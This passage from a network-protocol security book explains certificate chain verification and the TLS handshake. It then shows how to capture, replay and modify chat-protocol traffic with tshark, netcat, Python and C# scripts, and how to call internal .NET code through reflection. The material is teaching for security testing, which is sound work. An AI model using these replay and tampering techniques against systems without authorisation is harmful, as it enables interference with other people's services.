cate. Instead, the root certificate is a self-signed certificate where the private key 
associated with the certificate’s public key is used to sign itself. 

Verifying a Certificate Chain
To verify a certificate, you follow the issuance chain back to the root cer-
tificate, ensuring at each step that every certificate has a valid signature 
that hasn’t expired. At this point, you decide whether you trust the root 
certificate—and, by extension, the identity of the certificate at the end of 
the chain. Most applications that handle certificates, like web browsers and 
operating systems, have a trusted root certificate database. 

What’s to stop someone who gets a web server certificate from sign-
ing their own fraudulent certificate using the web server’s private key? In 
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practice, they can do just that. From a cryptography perspective, one pri-
vate key is the same as any other. If you based the trust of a certificate on 
the chain of keys, the fraudulent certificate would chain back to a trusted 
root and appear to be valid. 

To protect against this attack, the X.509 specification defines the 
basic constraints parameter, which can be optionally added to a certificate. 
This parameter is a flag that indicates the certificate can be used to sign 
another certificate and thus act as a CA. If a certificate’s CA flag is set to 
false (or if the basic constraints parameter is missing), the verification of 
the chain should fail if that certificate is ever used to sign another certifi-
cate. Figure 7-18 shows this basic constraint parameter in a real certificate 
that says this certificate should be valid to act as a certificate authority.

But what if a certificate issued for verifying a web server is used instead 
to sign application code? In this situation, the X.509 certificate can specify 
a key usage parameter, which indicates what uses the certificate was gener-
ated for. If the certificate is ever used for something it was not designed to 
certify, the verification chain should fail. 

Finally, what happens if the private key associated with a given certifi-
cate is stolen or a CA accidentally issues a fraudulent certificate (as has hap-
pened a few times)? Even though each certificate has an expiration date, this 
date might be many years in the future. Therefore, if a certificate needs to 
be revoked, the CA can publish a certificate revocation list (CRL). If any certifi-
cate in the chain is on the revocation list, the verification process should fail. 

Figure 7-18: X.509 certificate basic constraints
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As you can see, the certificate chain verification could potentially fail in 
a number of places.

Case Study: Transport Layer Security
Let’s apply some of the theory behind protocol security and cryptog-
raphy to a real-world protocol. Transport Layer Security (TLS), formerly 
called Secure Sockets Layer (SSL), is the most common security protocol in 
use on the internet. TLS was originally developed as SSL by Netscape in 
the mid-1990s for securing HTTP connections. The protocol has gone 
through multiple revisions: SSL versions 1.0 through 3.0 and TLS ver-
sions 1.0 through 1.2. Although it was originally designed for HTTP, you 
can use TLS for any TCP protocol. There’s even a variant, the Datagram 
Transport Layer Security (DTLS) protocol, to use with unreliable protocols, 
such as UDP. 

TLS uses many of the constructs described in this chapter, including 
symmetric and asymmetric encryption, MACs, secure key exchange, and 
PKI. I’ll discuss the role each of these cryptographic tools plays in the secu-
rity of a TLS connection and touch on some attacks against the protocol. 
(I’ll only discuss TLS version 1.0, because it’s the most commonly supported 
version, but be aware that versions 1.1 and 1.2 are slowly becoming more 
common due to a number of security issues with version 1.0.)

The TLS Handshake
The most important part of establishing a new TLS connection is the hand-
shake, where the client and server negotiate the type of encryption they’ll 
use, exchange a unique key for the connection, and verify each other’s 
identity. All communication uses a TLS Record protocol—a predefined tag-
length-value structure that allows the protocol parser to extract individual 
records from the stream of bytes. All handshake packets are assigned a tag 
value of 22 to distinguish them from other packets. Figure 7-19 shows the 
flow of these handshake packets in a simplified form. (Some packets are 
optional, as indicated in the figure.)

As you can see from all the data being sent back and forth, the hand-
shake process can be time-intensive: sometimes it can be truncated or 
bypassed entirely by caching a previously negotiated session key or by the 
client’s asking the server to resume a previous session by providing a unique 
session identifier. This isn’t a security issue because, although a malicious 
client could request the resumption of a session, the client still won’t know 
the private negotiated session key. 
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Figure 7-19: The TLS handshake process

Initial Negotiation
As the first step in the handshake, the client and server negotiate the secu-
rity parameters they want to use for the TLS connection using a HELLO 
message. One of the pieces of information in a HELLO message is the client 
random, a random value that ensures the connection process cannot be eas-
ily replayed. The HELLO message also indicates what types of ciphers the 
client supports. Although TLS is designed to be flexible with regard to what 
encryption algorithms it uses, it only supports symmetric ciphers, such as 
RC4 or AES, because using public key encryption would be too expensive 
from a computational perspective. 

The server responds with its own HELLO message that indicates what 
cipher it has chosen from the available list provided by the client. (The 
connection ends if the pair cannot negotiate a common cipher.) The 
server HELLO message also contains the server random, another random 
value that adds additional replay protection to the connection. Next, the 
server sends its X.509 certificate, as well as any necessary intermediate CA 
certificates, so the client can make an informed decision about the iden-
tity of the server. Then the server sends a HELLO Done packet to inform 
the client it can proceed to authenticate the connection.
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Endpoint Authentication
The client must verify that the server certificates are legitimate and that 
they meet the client’s own security requirements. First, the client must ver-
ify the identity in the certificate by matching the certificate’s Subject field 
to the server’s domain name. For example, Figure 7-20 shows a certificate 
for the domain www.domain.com. The Subject contains a Common Name 
(CN) u field that matches this domain. 

�

Figure 7-20: The Certificate Subject for www.domain.com

A certificate’s Subject and Issuer fields are not simple strings but 
X.500 names, which contain other fields, such as the Organization (typi-
cally the name of the company that owns the certificate) and Email (an 
arbitrary email address). However, only the CN is ever checked during the 
handshake to verify an identity, so don’t be confused by the extra data. It’s 
also possible to have wildcards in the CN field, which is useful for shar-
ing certificates with multiple servers running on a subdomain name. For 
example, a CN set to *.domain.com would match both www.domain.com and 
blog.domain.com. 

After the client has checked the identity of the endpoint (that is, the 
server at the other end of the connection), it must ensure that the certifi-
cate is trusted. It does so by building the chain of trust for the certificate 
and any intermediate CA certificates, checking to make sure none of the 
certificates appear on any certificate revocation lists. If the root of the 
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chain is not trusted by the client, it can assume the certificate is suspect 
and drop the connection to the server. Figure 7-21 shows a simple chain 
with an intermediate CA for www.domain.com. 

Figure 7-21: The chain of trust for www.domain.com

TLS also supports an optional client certificate that allows the server to 
authenticate the client. If the server requests a client certificate, it sends a 
list of acceptable root certificates to the client during its HELLO phase. The 
client can then search its available certificates and choose the most appro-
priate one to send back to the server. It sends the certificate—along with a 
verification message containing a hash of all the handshake messages sent 
and received up to this point—signed with the certificate’s private key. The 
server can verify that the signature matches the key in the certificate and 
grant the client access; however, if the match fails, the server can close the 
connection. The signature proves to the server that the client possesses the 
private key associated with the certificate.

Establishing Encryption
When the endpoint has been authenticated, the client and server can finally 
establish an encrypted connection. To do so, the client sends a randomly 
generated pre-master secret to the server encrypted with the server’s certificate 
public key. Next, both client and server combine the pre-master secret with 
the client and server randoms, and they use this combined value to seed a 
random number generator that generates a 48-byte master secret, which will 
be the session key for the encrypted connection. (The fact that both the 
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server and the client generate the master key provides replay protection for 
the connection, because if either endpoint sends a different random during 
negotiation, the endpoints will generate different master secrets.)

When both endpoints have the master secret, or session key, an 
encrypted connection is possible. The client issues a change cipher spec 
packet to tell the server it will only send encrypted messages from here 
on. However, the client needs to send one final message to the server 
before normal traffic can be transmitted: the finished packet. This packet 
is encrypted with the session key and contains a hash of all the handshake 
messages sent and received during the handshake process. This is a crucial 
step in protecting against a downgrade attack, in which an attacker modifies 
the handshake process to try to reduce the security of the connection by 
selecting weak encryption algorithms. Once the server receives the finished 
message, it can validate that the negotiated session key is correct (other-
wise, the packet wouldn’t decrypt) and check that the hash is correct. If not, 
it can close the connection. But if all is correct, the server will send its own 
change cipher spec message to the client, and encrypted communications 
can begin. 

Each encrypted packet is also verified using an HMAC, which provides 
data authentication and ensures data integrity. This verification is particu-
larly important if a stream cipher, such as RC4, has been negotiated; other-
wise, the encrypted blocks could be trivially modified.

Meeting Security Requirements
The TLS protocol successfully meets the four security requirements listed at 
the beginning of this chapter and summarized in Table 7-4.

Table 7-4: How TLS Meets Security Requirements

Security requirement How it’s met

Data confidentiality Selectable strong cipher suites
Secure key exchange

Data integrity Encrypted data is protected by an HMAC
Handshake packets are verified by final hash verification

Server authentication The client can choose to verify the server endpoint using 
the PKI and the issued certificate

Client authentication Optional certificate-based client authentication

But there are problems with TLS. The most significant one, which as 
of this writing has not been corrected in the latest versions of the protocol, 
is its reliance on certificate-based PKI. The protocol depends entirely on 
trust that certificates are issued to the correct people and organizations. If 
the certificate for a network connection indicates the application is com-
municating to a Google server, you assume that only Google would be able 
to purchase the required certificate. Unfortunately, this isn’t always the 
case. Situations in which corporations and governments have subverted the 
CA process to generate certificates have been documented. In addition, 
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mistakes have been made when CAs didn’t perform their due diligence and 
issued bad certificates, such as the Google certificate shown in Figure 7-22 
that eventually had to be revoked. 

Figure 7-22: A certificate for Google “wrongly” issued  
by CA TÜRKTRUST

One partial fix to the certificate model is a process called certificate pin-
ning. Pinning means that an application restricts acceptable certificates 
and CA issuers for certain domains. As a result, if someone manages to 
fraudulently obtain a valid certificate for www.google.com, the application 
will notice that the certificate doesn’t meet the CA restrictions and will fail 
the connection.

Of course, certificate pinning has its downsides and so is not applicable 
to every scenario. The most prevalent issue is the management of the pinning 
list; specifically, building an initial list might not be too challenging a task, 
but updating the list adds additional burdens. Another issue is that a devel-
oper cannot easily migrate the certificates to another CA or easily change 
certificates without also having to issue updates to all clients. 

Another problem with TLS, at least when it comes to network surveil-
lance, is that a TLS connection can be captured from the network and 
stored by an attacker until it’s needed. If that attacker ever obtains the 
server’s private key, all historical traffic could be decrypted. For this rea-
son, a number of network applications are moving toward exchanging keys 
using the DH algorithm in addition to using certificates for identity verifi-
cation. This allows for perfect forward secrecy—even if the private key is com-
promised, it shouldn’t be easy to also calculate the DH-generated key.
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Final Words
This chapter focused on the basics of protocol security. Protocol security 
has many aspects and is a very complex topic. Therefore, it’s important to 
understand what could go wrong and identify the problem during any pro-
tocol analysis. 

Encryption and signatures make it difficult for an attacker to capture 
sensitive information being transmitted over a network. The process of 
encryption converts plaintext (the data you want to hide) into cipher text 
(the encrypted data). Signatures are used to verify that the data being 
transmitted across a network hasn’t been compromised. An appropriate 
signature can also be used to verify the identity of the sender. The ability to 
verify the sender is very useful for authenticating users and computers over 
an untrusted network. 

Also described in this chapter are some possible attacks against cryp-
tography as used in protocol security, including the well-known padding 
oracle attack, which could allow an attack to decrypt traffic being sent to 
and from a server. In later chapters, I’ll explain in more detail how to ana-
lyze a protocol for its security configuration, including the encryption algo-
rithms used to protect sensitive data.



8
I m ple   m enting       the    

N etwork       P rotocol     

Analyzing a network protocol can be an end in itself; 
however, most likely you’ll want to implement the pro-
tocol so you can actually test it for security vulnerabili-
ties. In this chapter, you’ll learn ways to implement a 
protocol for testing purposes. I’ll cover techniques to 
repurpose as much existing code as possible to reduce 
the amount of development effort you’ll need to do.

This chapter uses my SuperFunkyChat application, which provides 
testing data and clients and servers to test against. Of course, you can use 
any protocol you like: the fundamentals should be the same.
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Replaying Existing Captured Network Traffic
Ideally, we want to do only the minimum necessary to implement a client or 
server for security testing. One way to reduce the amount of effort required 
is to capture example network protocol traffic and replay it to real clients 
or servers. We’ll look at three ways to achieve this goal: using Netcat to send 
raw binary data, using Python to send UDP packets, and repurposing our 
analysis code in Chapter 5 to implement a client and a server.

Capturing Traffic with Netcat 
Netcat is the simplest way to implement a network client or server. The 
basic Netcat tool is available on most platforms, although there are mul-
tiple versions with different command line options. (Netcat is sometimes 
called nc or netcat.) We’ll use the BSD version of Netcat, which is used on 
macOS and is the default on most Linux systems. You might need to adapt 
commands if you’re on a different operating system.

The first step when using Netcat is to capture some traffic you want to 
replay. We’ll use the Tshark command line version of Wireshark to capture 
traffic generated by SuperFunkyChat. (You may need to install Tshark on 
your platform.) 

To limit our capture to packets sent to and received by our ChatServer 
running on TCP port 12345, we’ll use a Berkeley Packet Filter (BPF) expres-
sion to restrict the capture to a very specific set of packets. BPF expres-
sions limit the packets captured, whereas Wireshark’s display filter limits 
only the display of a much larger set of capture packets. 

Run the following command at the console to begin capturing port 
12345 traffic and writing the output to the file capture.pcap. Replace INTNAME 
with the name of the interface you’re capturing from, such as eth0. 

$ tshark -i INTNAME -w capture.pcap tcp port 12345

Make a client connection to the server to start the packet capture and 
then stop the capture by pressing ctrl+C in the console running Tshark. 
Make sure you’ve captured the correct traffic into the output file by run-
ning Tshark with the -r parameter and specifying the capture.pcap file. 
Listing 8-1 shows example output from Tshark with the addition of the 
parameters -z conv,tcp to print the list of capture conversations.

$ tshark -r capture.pcap -z conv,tcp
   1 0 192.168.56.1 → 192.168.56.100 TCP 66 26082 → 12345 [SYN] 
    2 0.000037695 192.168.56.100 → 192.168.56.1 TCP 66 12345 → 26082 [SYN, ACK] 
    3 0.000239814 192.168.56.1 → 192.168.56.100 TCP 60 26082 → 12345 [ACK] 
    4 0.007160883 192.168.56.1 → 192.168.56.100 TCP 60 26082 → 12345 [PSH, ACK]
    5 0.007225155 192.168.56.100 → 192.168.56.1 TCP 54 12345 → 26082 [ACK]
--snip--
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================================================================================
TCP Conversations
Filter:<No Filter>
                                              |       <-      | |       ->      |
                                              | Frames  Bytes | | Frames  Bytes |
192.168.56.1:26082 <-> 192.168.56.100:12345   17      1020     28      1733x
================================================================================

Listing 8-1: Verifying the capture of the chat protocol traffic

As you can see in Listing 8-1, Tshark prints the list of raw packets at  
and then displays the conversation summary , which shows that we have a 
connection going from 192.168.56.1 port 26082 to 192.168.56.100 port 12345. 
The client on 192.168.56.1 has received 17 frames or 1020 bytes of data , 
and the server received 28 frames or 1733 bytes of data .

Now we use Tshark to export just the raw bytes for one direction of the 
conversation:

$ tshark -r capture.pcap -T fields -e data 'tcp.srcport==26082' > outbound.txt

This command reads the packet capture and outputs the data from 
each packet; it doesn’t filter out items like duplicate or out-of-order packets. 
There are a couple of details to note about this command. First, you should 
use this command only on captures produced on a reliable network, such 
as via localhost or a local network connection, or you might see erroneous 
packets in the output. Second, the data field is only available if the protocol 
isn’t decoded by a dissector. This is not an issue with the TCP capture, but 
when we move to UDP, we’ll need to disable dissectors for this command to 
work correctly. 

Recall that at  in Listing 8-1, the client session was using port 26082. 
The display filter tcp.srcport==26082 removes all traffic from the output that 
doesn’t have a TCP source port of 26082. This limits the output to traffic 
from the client to the server. The result is the data in hex format, similar to 
Listing 8-2.

$ cat outbound.txt
42494e58
0000000d
00000347
00
057573657231044f4e595800
--snip--

Listing 8-2: Example output from dumping raw traffic

Next, we convert this hex output to raw binary. The simplest way to do so 
is with the xxd tool, which is installed by default on most Unix-like systems. 
Run the xxd command, as shown in Listing 8-3, to convert the hex dump to 
a binary file. (The -p parameter converts raw hex dumps rather than the 
default xxd format of a numbered hex dump.)
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$ xxd -p -r outbound.txt > outbound.bin
$ xxd outbound.bin 
00000000: 4249 4e58 0000 000d 0000 0347 0005 7573  BINX.......G..us
00000010: 6572 3104 4f4e 5958 0000 0000 1c00 0009  er1.ONYX........
00000020: 7b03 0575 7365 7231 1462 6164 6765 7220  {..user1.badger 
--snip--

Listing 8-3: Converting the hex dump to binary data

Finally, we can use Netcat with the binary data file. Run the following 
netcat command to send the client traffic in outbound.bin to a server at 
HOSTNAME port 12345. Any traffic sent from the server back to the client will 
be captured in inbound.bin.

$ netcat HOSTNAME 12345 < outbound.bin > inbound.bin

You can edit outbound.bin with a hex editor to change the session data 
you’re replaying. You can also use the inbound.bin file (or extract it from a 
PCAP) to send traffic back to a client by pretending to be the server using 
the following command:

$ netcat -l 12345 < inbound.bin > new_outbound.bin

Using Python to Resend Captured UDP Traffic
One limitation of using Netcat is that although it’s easy to replay a stream-
ing protocol such as TCP, it’s not as easy to replay UDP traffic. The reason 
is that UDP traffic needs to maintain packet boundaries, as you saw when 
we tried to analyze the Chat Application protocol in Chapter 5. However, 
Netcat will just try to send as much data as it can when sending data from a 
file or a shell pipeline.

Instead, we’ll write a very simple Python script that will replay the 
UDP packets to the server and capture any results. First, we need to cap-
ture some UDP example chat protocol traffic using the ChatClient’s --udp 
command line parameter. Then we’ll use Tshark to save the packets to the 
file udp_capture.pcap, as shown here:

tshark -i INTNAME -w udp_capture.pcap udp port 12345

Next, we’ll again convert all client-to-server packets to hex strings so we 
can process them in the Python client:

tshark -T fields -e data -r udp_capture.pcap --disable-protocol gvsp/ 
  "udp.dstport==12345" > udp_outbound.txt

One difference in extracting the data from the UDP capture is that 
Tshark automatically tries to parse the traffic as the GVSP protocol. This 
results in the data field not being available. Therefore, we need to disable 
the GVSP dissector to create the correct output.
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With a hex dump of the packets, we can finally create a very simple 
Python script to send the UDP packets and capture the response. Copy 
Listing 8-4 into udp_client.py.

udp_client.py		  import sys
import binascii
from socket import socket, AF_INET, SOCK_DGRAM

if len(sys.argv) < 3:
    print("Specify destination host and port")
    exit(1)

# Create a UDP socket with a 1sec receive timeout
sock = socket(AF_INET, SOCK_DGRAM)
sock.settimeout(1)
addr = (sys.argv[1], int(sys.argv[2]))

for line in sys.stdin:
    msg = binascii.a2b_hex(line.strip())
    sock.sendto(msg, addr)

    try:
        data, server = sock.recvfrom(1024)
        print(binascii.b2a_hex(data))
    except:
        pass

Listing 8-4: A simple UDP client to send network traffic capture

Run the Python script using following command line (it should work in 
Python 2 and 3), replacing HOSTNAME with the appropriate host:

python udp_client.py HOSTNAME 12345 < udp_outbound.txt

The server should receive the packets, and any received packets in the 
client should be printed to the console as binary strings. 

Repurposing Our Analysis Proxy
In Chapter 5, we implemented a simple proxy for SuperFunkyChat that cap-
tured traffic and implemented some basic traffic parsing. We can use the 
results of that analysis to implement a network client and a network server 
to replay and modify traffic, allowing us to reuse much of our existing work 
developing parsers and associated code rather than having to rewrite it for 
a different framework or language.

Capturing Example Traffic

Before we can implement a client or a server, we need to capture some traf-
fic. We’ll use the parser.csx script we developed in Chapter 5 and the code in 
Listing 8-5 to create a proxy to capture the traffic from a connection.
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chapter8_capture	 #load "parser.csx"
_proxy.csx		  using static System.Console;

using static CANAPE.Cli.ConsoleUtils;

var template = new FixedProxyTemplate();
// Local port of 4444, destination 127.0.0.1:12345
template.LocalPort = 4444;
template.Host = "127.0.0.1";
template.Port = 12345;

 template.AddLayer<Parser>(); 

var service = template.Create();
service.Start();
WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();
service.Stop();

WriteLine("Writing Outbound Packets to packets.bin");
 service.Packets.WriteToFile("packets.bin", "Out"); 

Listing 8-5: The proxy to capture chat traffic to a file

Listing 8-5 sets up a TCP listener on port 4444, forwards new connec-
tions to 127.0.0.1 port 12345, and captures the traffic. Notice that we still add 
our parsing code to the proxy at  to ensure that the captured data has the 
data portion of the packet, not the length or checksum information. Also 
notice that at , we write the packets to a file, which will include all outbound 
and inbound packets. We’ll need to filter out a specific direction of traffic 
later to send the capture over the network. 

Run a single client connection through this proxy and exercise the cli-
ent a good bit. Then close the connection in the client and press enter in 
the console to exit the proxy and write the packet data to packets.bin. (Keep a 
copy of this file; we’ll need it for our client and server.)

Implementing a Simple Network Client

Next, we’ll use the captured traffic to implement a simple network client. 
To do so, we’ll use the NetClientTemplate class to establish a new connection 
to the server and provide us with an interface to read and write network 
packets. Copy Listing 8-6 into a file named chapter8_client.csx.

chapter8		  #load "parser.csx"
_client.csx		

using static System.Console;
using static CANAPE.Cli.ConsoleUtils;

 if (args.Length < 1) { 
    WriteLine("Please Specify a Capture File");
    return;
}
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 var template = new NetClientTemplate(); 
template.Port = 12345;
template.Host = "127.0.0.1";
template.AddLayer<Parser>();

 template.InitialData = new byte[] { 0x42, 0x49, 0x4E, 0x58 }; 

 var packets = LogPacketCollection.ReadFromFile(args[0]); 

 using(var adapter = template.Connect()) { 
    WriteLine("Connected");
    // Write packets to adapter

     foreach(var packet in packets.GetPacketsForTag("Out")) {
        adapter.Write(packet.Frame);
    }

    // Set a 1000ms timeout on read so we disconnect
    adapter.ReadTimeout = 1000;

     DataFrame frame = adapter.Read(); 
    while(frame != null) {
        WritePacket(frame);
        frame = adapter.Read();
    }
}

Listing 8-6: A simple client to replace SuperFunkyChat traffic

One new bit in this code is that each script gets a list of command line 
arguments in the args variable . By using command line arguments, we can 
specify different packet capture files without having to modify the script. 

The NetClientTemplate is configured  similarly to our proxy, making 
connections to 127.0.0.1:12345 but with a few differences to support the 
client. For example, because we parse the initial network traffic inside the 
Parser class, our capture file doesn’t contain the initial magic value that the 
client sends to the server. We add an InitialData array to the template with 
the magic bytes  to correctly establish the connection. 

We then read the packets from the file  into a packet collection. When 
everything is configured, we call Connect() to establish a new connection to 
the server . The Connect() method returns a Data Adapter that allows us to 
read and write parsed packets on the connection. Any packet we read will 
also go through the Parser and remove the length and checksum fields. 

Next, we filter the loaded packets to only outbound and write them to 
the network connection . The Parser class again ensures that any data 
packets we write have the appropriate headers attached before being sent 
to the server. Finally, we read out packets and print them to the console 
until the connection is closed or the read times out . 

When you run this script, passing the path to the packets we captured 
earlier, it should connect to the server and replay your session. For example, 
any message sent in the original capture should be re-sent. 

Of course, just replaying the original traffic isn’t necessarily that use-
ful. It would be more useful to modify traffic to test features of the proto-
col, and now that we have a very simple client, we can modify the traffic by 
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adding some code to our send loop. For example, we might simply change 
our username in all packets to something else—say from user1 to bobsmith—
by replacing the inner code of the send loop (at  in Listing 8-6) with the 
code shown in Listing 8-7.

 string data = packet.Frame.ToDataString(); 
 data = data.Replace("\u0005user1", "\u0008bobsmith"); 

adapter.Write(data.ToDataFrame());

Listing 8-7: A simple packet editor for the client

To edit the username, we first convert the packet into a format we 
can work with easily. In this case, we convert it to a binary string using 
the ToDataString() method , which results in a C# string where each byte 
is converted directly to the same character value. Because the strings in 
SuperFunkyChat are prefixed with their length, at  we use the \uXXXX 
escape sequence to replace the byte 5 with 8 for the new length of the user-
name. You can replace any nonprintable binary character in the same way, 
using the escape sequence for the byte values.

When you rerun the client, all instances of user1 should be replaced 
with bobsmith. (Of course, you can do far more complicated packet modifi-
cation at this point, but I’ll leave that for you to experiment with.)

Implementing a Simple Server

We’ve implemented a simple client, but security issues can occur in both 
the client and server applications. So now we’ll implement a custom server 
similar to what we’ve done for the client.

First, we’ll implement a small class to act as our server code. This class 
will be created for every new connection. A Run() method in the class will 
get a Data Adapter object, essentially the same as the one we used for the 
client. Copy Listing 8-8 into a file called chat_server.csx.

chat_server.csx	 using CANAPE.Nodes;
using CANAPE.DataAdapters;
using CANAPE.Net.Templates;

 class ChatServerConfig { 
    public LogPacketCollection Packets { get; private set; }
    public ChatServerConfig() {
        Packets = new LogPacketCollection();
    }
}

 class ChatServer : BaseDataEndpoint<ChatServerConfig> { 
    public override void Run(IDataAdapter adapter, ChatServerConfig config) {
        Console.WriteLine("New Connection");
      DataFrame frame = adapter.Read(); 
        // Wait for the client to send us the first packet
        if (frame != null) {
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            // Write all packets to client
          foreach(var packet in config.Packets) { 
                adapter.Write(packet.Frame);
            }
        }
        frame = adapter.Read();
    }
}

Listing 8-8: A simple server class for chat protocol

The code at  is a configuration class that simply contains a log 
packet collection. We could have simplified the code by just specifying 
LogPacketCollection as the configuration type, but doing so with a distinct 
class demonstrates how you might add your own configuration more easily. 

The code at  defines the server class. It contains the Run() function, 
which takes a data adapter and the server configuration, and allows us to 
read and write to the data adapter after waiting for the client to send us 
a packet . Once we’ve received a packet, we immediately send our entire 
packet list to the client . 

Note that we don’t filter the packets at , and we don’t specify that we’re 
using any particular parser for the network traffic. In fact, this entire class is 
completely agnostic to the SuperFunkyChat protocol. We configure much of 
the behavior for the network server inside a template, as shown in Listing 8-9.

chapter8	           #load "chat_server.csx" 
_example		  #load "parser.csx"
_server.csx		  using static System.Console;

if (args.Length < 1) {
    WriteLine("Please Specify a Capture File");
    return;
}

 var template = new NetServerTemplate<ChatServer, ChatServerConfig>(); 
template.LocalPort = 12345;
template.AddLayer<Parser>();

 var packets = LogPacketCollection.ReadFromFile(args[0])
                                 .GetPacketsForTag("In"); 
template.ServerFactoryConfig.Packets.AddRange(packets); 

 var service = template.Create(); 
service.Start();
WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();
service.Stop();

Listing 8-9: A simple example ChatServer

Listing 8-9 might look familiar because it’s very similar to the script 
we used for the DNS server in Listing 2-11. We begin by loading in the 
chat_server.csx script to define our ChatServer class . Next, we create a 
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server template at  by specifying the type of the server and the configu-
ration type. Then we load the packets from the file passed on the com-
mand line, filtering to capture only inbound packets and adding them to 
the packet collection in the configuration . Finally, we create a service 
and start it , just as we do proxies. The server is now listening for new 
connections on TCP port 12345. 

Try the server with the ChatClient application; the captured traffic 
should be sent back to the client. After all the data has been sent to the 
client, the server will automatically close the connection. As long as you 
observe the message we re-sent, don’t worry if you see an error in the 
ChatClient’s output. Of course, you can add functionality to the server, 
such as modifying traffic or generating new packets.

Repurposing Existing Executable Code
In this section, we’ll explore various ways to repurpose existing binary 
executable code to reduce the amount of work involved in implementing 
a protocol. Once you’ve determined a protocol’s details by reverse engi-
neering the executable (perhaps using some tips from Chapter 6), you’ll 
quickly realize that if you can reuse the executable code, you’ll avoid hav-
ing to implement the protocol. 

Ideally, you’ll have the source code you’ll need to implement a particu-
lar protocol, either because it’s open source or the implementation is in a 
scripting language like Python. If you do have the source code, you should 
be able to recompile or directly reuse the code in your own application. 
However, when the code has been compiled into a binary executable, your 
options can be more limited. We’ll look at each scenario now.

Managed language platforms, such as .NET and Java, are by far the 
easiest in which to reuse existing executable code, because they have a well-
defined metadata structure in compiled code that allows a new application 
to be compiled against internal classes and methods. In contrast, in many 
unmanaged platforms, such as C/C++, the compiler will make no guarantees 
that any component inside a binary executable can be easily called externally. 

Well-defined metadata also supports reflection, which is the ability of an 
application to support late binding of executable code to inspect data at 
runtime and to execute arbitrary methods. Although you can easily decom-
pile many managed languages, it may not always be convenient to do so, 
especially when dealing with obfuscated applications. This is because the 
obfuscation can prevent reliable decompilation to usable source code.

Of course, the parts of the executable code you’ll need to execute will 
depend on the application you’re analyzing. In the sections that follow, I’ll 
detail some coding patterns and techniques to use to call the appropriate 
parts of the code in .NET and Java applications, the platforms you’re most 
likely to encounter. 
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Repurposing Code in .NET Applications
As discussed in Chapter 6, .NET applications are made up of one or more 
assemblies, which can be either an executable (with an .exe extension) or a 
library (.dll). When it comes to repurposing existing code, the form of the 
assembly doesn’t matter because we can call methods in both equally. 

Whether we can just compile our code against the assembly’s code will 
depend on the visibility of the types we’re trying to use. The .NET plat-
form supports different visibility scopes for types and members. The three 
most important forms of visibility scope are public, private, and internal. 
Public types or members are available to all callers outside the assembly. 
Private types or members are limited in scope to the current type (for 
example, you can have a private class inside a public class). Internal vis-
ibility scopes the types or members to only callers inside the same assem-
bly, where they act as if they were public (although an external call cannot 
compile against them). For example, consider the C# code in Listing 8-10.

 public class PublicClass 
{
  private class PrivateClass
  {
  public PrivatePublicMethod() {} 
  }
  internal class InternalClass
  {
  public void InternalPublicMethod() {} 
  }
  private void PrivateMethod() {}
  internal void InternalMethod() {}
 public void PublicMethod() {} 
}

Listing 8-10: Examples of .NET visibility scopes

Listing 8-10 defines a total of three classes: one public, one private, and 
one internal. When you compile against the assembly containing these types, 
only PublicClass can be directly accessed along with the class’s PublicMethod() 
(indicated by  and ); attempting to access any other type or member will 
generate an error in the compiler. But notice at  and  that public mem-
bers are defined. Can’t we also access those members? Unfortunately, no, 
because these members are contained inside the scope of a PrivateClass or 
InternalClass. The class’s scope takes precedence over the members’ visibility. 

Once you’ve determined whether all the types and members you want 
to use are public, you can add a reference to the assembly when compiling. 
If you’re using an IDE, you should find a method that allows you to add 
this reference to your project. But if you’re compiling on the command line 
using Mono or the Windows .NET framework, you’ll need to specify the 
-reference:<FILEPATH> option to the appropriate C# compiler, CSC or MCS. 
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Using the Reflection APIs

If all the types and members are not public, you’ll need to use the .NET 
framework’s Reflection APIs. You’ll find most of these in the System 
.Reflection namespace, except for the Type class, which is under the System 
namespace. Table 8-1 lists the most important classes with respect to reflec-
tion functionality.

Table 8-1: .NET Reflection Types

Class name Description

System.Type Represents a single type in an assembly and 
allows access to information about its members

System.Reflection.Assembly Allows access to loading and inspecting an 
assembly as well as enumerating available types

System.Reflection.MethodInfo Represents a method in a type
System.Reflection.FieldInfo Represents a field in a type
System.Reflection.PropertyInfo Represents a property in a type
System.Reflection.ConstructorInfo Represents a class’s constructor

Loading the Assembly

Before you can do anything with the types and members, you’ll need to 
load the assembly using the Load() or the LoadFrom() method on the Assembly 
class. The Load() method takes an assembly name, which is an identifier for 
the assembly that assumes the assembly file can be found in the same loca-
tion as the calling application. The LoadFrom() method takes the path to the 
assembly file. 

For the sake of simplicity, we’ll use LoadFrom(), which you can use in 
most cases. Listing 8-11 shows a simple example of how you might load an 
assembly from a file and extract a type by name.

Assembly asm = Assembly.LoadFrom(@"c:\path\to\assembly.exe");
Type type = asm.GetType("ChatProgram.Connection");

Listing 8-11: A simple assembly loading example

The name of the type is always the fully qualified name including 
its namespace. For example, in Listing 8-11, the name of the type being 
accessed is Connection inside the ChatProgram namespace. Each part of the 
type name is separated by periods. 

How do you access classes that are declared inside other classes, such as 
those shown in Listing 8-10? In C#, you access these by specifying the parent 
class name and the child class name separated by periods. The framework is 
able to differentiate between ChatProgram.Connection, where we want the class 
Connection in namespace ChatProgram, and the child class Connection inside the 
class ChatProgram by using a plus (+) symbol: ChatProgram+Connection represents 
a parent/child class relationship.
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Listing 8-12 shows a simple example of how we might create an instance 
of an internal class and call methods on it. We’ll assume that the class is 
already compiled into its own assembly.

internal class Connection
{
  internal Connection() {}

  public void Connect(string hostname)
  {
    Connect(hostname, 12345);
  }

  private void Connect(string hostname, int port)
  {
    // Implementation...
  }

  public void Send(byte[] packet)
  {
    // Implementation...
  }

  public void Send(string packet)
  {
    // Implementation...
  }

  public byte[] Receive()
  {
    // Implementation...
  }
}

Listing 8-12: A simple C# example class

The first step we need to take is to create an instance of this Connection 
class. We could do this by calling GetConstructor on the type and calling it 
manually, but sometimes there’s an easier way. One way would be to use 
the built-in System.Activator class to handle creating instances of types for 
us, at least in very simple scenarios. In such a scenario, we call the method 
CreateInstance(), which takes an instance of the type to create and a Boolean 
value that indicates whether the constructor is public or not. Because the con-
structor is not public (it’s internal), we need to pass true to get the activator to 
find the right constructor. 

Listing 8-13 shows how to create a new instance, assuming a nonpublic 
parameterless constructor.

Type type = asm.GetType("ChatProgram.Connection");
object conn = Activator.CreateInstance(type, true);

Listing 8-13: Constructing a new instance of the Connection object
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At this point, we would call the public Connect() method. 
In the possible methods of the Type class, you’ll find the GetMethod() 

method, which just takes the name of the method to look up and returns 
an instance of a MethodInfo type. If the method cannot be found, null is 
returned. Listing 8-14 shows how to execute the method by calling the 
